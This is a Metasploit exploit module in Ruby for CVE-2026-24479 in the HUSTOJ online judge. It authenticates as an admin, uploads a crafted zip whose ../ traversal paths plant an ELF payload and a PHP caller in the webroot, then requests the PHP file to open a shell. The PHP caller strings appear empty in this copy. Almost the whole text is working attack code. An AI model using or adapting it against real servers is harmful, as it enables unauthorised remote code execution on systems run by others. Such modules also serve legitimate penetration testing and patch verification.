## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'digest/md5' # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479) class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE', 'Description' => <<~DESC, A user with administrative privileges can abuse the problem_import_qduoj.php CGI script using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the webroot, where they can extract a PHP file that spawns a shell to get full RCE in the context of the webserver. DESC 'Author' => [ 'oxagast', # exploit author 'LoTuS and friends', # chinese to english translations 'ling101w' # original discovery ], 'License' => MSF_LICENSE, 'Arch' => [ARCH_X64], 'References' => [ [ 'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \ '/CVE-2026-24479/hustoj_problem_import_rce.rb' ], [ 'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \ '6899314b33101f' ], ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'], ['CVE', '2026-24479'], ['EDB', '52539'], ['CWE', '22'] ], 'Platform' => 'linux', 'Targets' => [['Auto', {} ]], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, 'DisclosureDate' => '2026-01-26' ) ) register_options( [ OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']), OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]), OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']), OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']), OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]), OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]), OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60]) ] ) end # Authenticate as admin and return session cookies def login(user, pass) check = send_request_cgi( 'uri' => '/include/reinfo.js', 'method' => 'GET', 'ctype' => 'application/javascript' ) if check.nil? fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!') else print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}") end # try to figure out what we are running against unless check && check.code == 200 if check && check.code == 404 print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!') else print_error('Target responded, but check did not pass!') end unless datastore['FORCE'] fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.') end end unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false print_error('Target appears to be running HUSTOJ, but my be a patched version!') unless datastore['FORCE'] print_error('Body check does not contain escapehtml function...') fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ! Try FORCE.') end end if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!') else print_error('Target does not appear to be running a vulnerable version of HUSTOJ!') unless datastore['FORCE'] print_error('Body check does not contain pat.exec function') fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version! Try FORCE.') end end send_request_cgi( 'method' => 'POST', 'uri' => '/login.php', 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'user_id' => user, 'password' => Digest::MD5.hexdigest(pass) } ) # Check if login was successful res = send_request_cgi( 'method' => 'GET', 'uri' => '/modifypage.php', 'keep_cookies' => true ) # we check for userinfo.php because it doesn't exist if our login fails unless res && res.code == 200 && res.body && res.body.include?('userinfo.php') fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.') end stars = '*' * pass.length print_good("Logged in successfully! #{user}:#{stars}") # Check if the account has admin privileges res = send_request_cgi( 'method' => 'GET', 'uri' => '/admin/menu2.php', 'keep_cookies' => true ) unless res && res.code == 200 && res.body && res.body.include?('problem_import.php') fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!') end return true end # Upload the malicious zip payload using the admin session def upload_payload(zip_dat, _rand_tag, dds) zip_size_kb = (zip_dat.length / 1024.0).round(2) print_status("Uploading the payload... #{zip_size_kb}kb") form_data = Rex::MIME::Message.new # it is ncessary for the MIME type to be application/octet-stream instead of application/zip # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made. Not # entirely sure what causes this. form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"") res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['DROPFILE']}.zip") print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})") else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.') end end # Trigger the uploaded PHP shell to execute the payload def trigger_sploit(rand_tag) print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php") trig = send_request_raw( { 'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php", 'method' => 'GET' } ) if trig && trig.code == 200 sleep(2) # give it a moment to pop the session before we ret return true end end # Clean up dropped files after exploitation def cleanup super # prevents the cleanup routine from running multiple times (reduses log noise) send_request_raw( { 'uri' => "/#{datastore['DROPFILE']}-cu.php", 'method' => 'GET' } ) print_status('Cleaning up the payload caller and shell files...') end # Main exploit logic def exploit # Authenticate, upload, and trigger the exploit! if datastore['DROPFILE'] == 'RANDOM' datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3) end opts = { format: 'elf' } shell_gend = generate_payload_exe(opts) unless datastore['DROPFILE'].match?(/\A\w+\z/) fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.') end if shell_gend.empty? fail_with(Failure::PayloadFailed, 'Payload generation failed! Try a different payload?') end print_good("Payload generated! #{datastore['PAYLOAD']}") # Generate a random tag for file uniqueness rand_tag = Rex::Text.rand_text_alpha(5) print_status("Random payload tag #{rand_tag}") # PHP script to call the ELF payload shell_caller = "" # PHP script to clean up dropped files cleanup_caller = "" dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip # Files to include in the malicious zip (zipslip paths for traversal) # problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import files = [ { data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" }, { data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" }, { data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" }, { data: '{}', fname: 'problem_1010.json' }, { data: '', fname: 'problem_1010/1.in' }, { data: '', fname: 'problem_1010/1.out' } ] # Create the malicious zip archive zip_dat = Msf::Util::EXE.to_zip(files) fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty? print_good("Zip file generated! Files: #{files.length}") unless datastore['TRAVERSE_LIMIT'] >= 2 fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!') end unless datastore['USERNAME'] && datastore['PASSWORD'] fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!') end unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds) fail_with(Failure::Unknown, 'Something strange happened in the login or upload!') end popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do trigger_sploit(rand_tag) end unless popped fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout! Check your listener?') end end end